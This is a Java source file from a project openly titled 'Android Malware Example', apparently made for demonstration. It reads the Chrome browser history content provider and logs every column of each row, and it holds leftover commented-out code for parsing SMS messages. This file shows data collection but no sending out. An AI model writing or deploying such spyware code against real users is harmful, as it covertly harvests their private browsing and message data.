/*
 * Copyright (c) 2016. Darryl Burke - Burke Consulting
 *
 * This file is part of Android Malware Example.
 *
 *     Android Malware Example is free software: you can redistribute it and/or modify
 *     it under the terms of the GNU General Public License as published by
 *     the Free Software Foundation, either version 3 of the License, or
 *     (at your option) any later version.
 *
 *     Android Malware Example is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *
 *     You should have received a copy of the GNU General Public License
 *     along with Android Malware Example.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

package com.burke_consulting.malwareexample;

import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.provider.Browser;
import android.util.Log;

import java.text.SimpleDateFormat;
import java.util.Date;

/**
 * Created by darrylb on 10/3/16.
 */
public class GetBrowserHistory {


    Context context;
    ConfigParams configParams;


    public GetBrowserHistory(Context _context){
        context = _context;
        configParams = new ConfigParams(context);
    }
    public void BrowserHistory(String filename) {



        Cursor cursor = context.getContentResolver().query(Uri.parse("content://com.android.chrome.browser/history"), null, null, null, null);

        if (cursor.moveToFirst()) { // must check the result to prevent exception
            do {
                Log.d(configParams.PROGID,"CURSOR:");
                String msgData = "";

                for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
                    msgData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx);

                }
                Log.d(configParams.PROGID,"Cols:"+msgData);
//


//
//
//                SMSInfo _sms = new SMSInfo();
//                _sms.messageId = cursor.getString(cursor.getColumnIndexOrThrow("_id"));
//                _sms.address = cursor.getString(cursor.getColumnIndexOrThrow("address"));
//                _sms.readState = cursor.getString(cursor.getColumnIndex("read"));
//                String dateString = new SimpleDateFormat("yyyy-MMM-dd HH:mm:ss").format(new Date(cursor.getLong(4)));
//
//                // _sms.datestamp = cursor.getString(cursor.getColumnIndexOrThrow("date"));
//                _sms.datestamp = dateString;
//                if (cursor.getString(cursor.getColumnIndexOrThrow("type")).contains("1")) {
//                    _sms.folder ="inbox";
//                } else {
//                    _sms.folder ="sent";
//                }
//                _sms.message = cursor.getString(cursor.getColumnIndexOrThrow("body"));
//                smsInfo.add(_sms);
//
//
//                // use msgData
            } while (cursor.moveToNext());
        } else {
            // empty box, no SMS
        }




    }
}
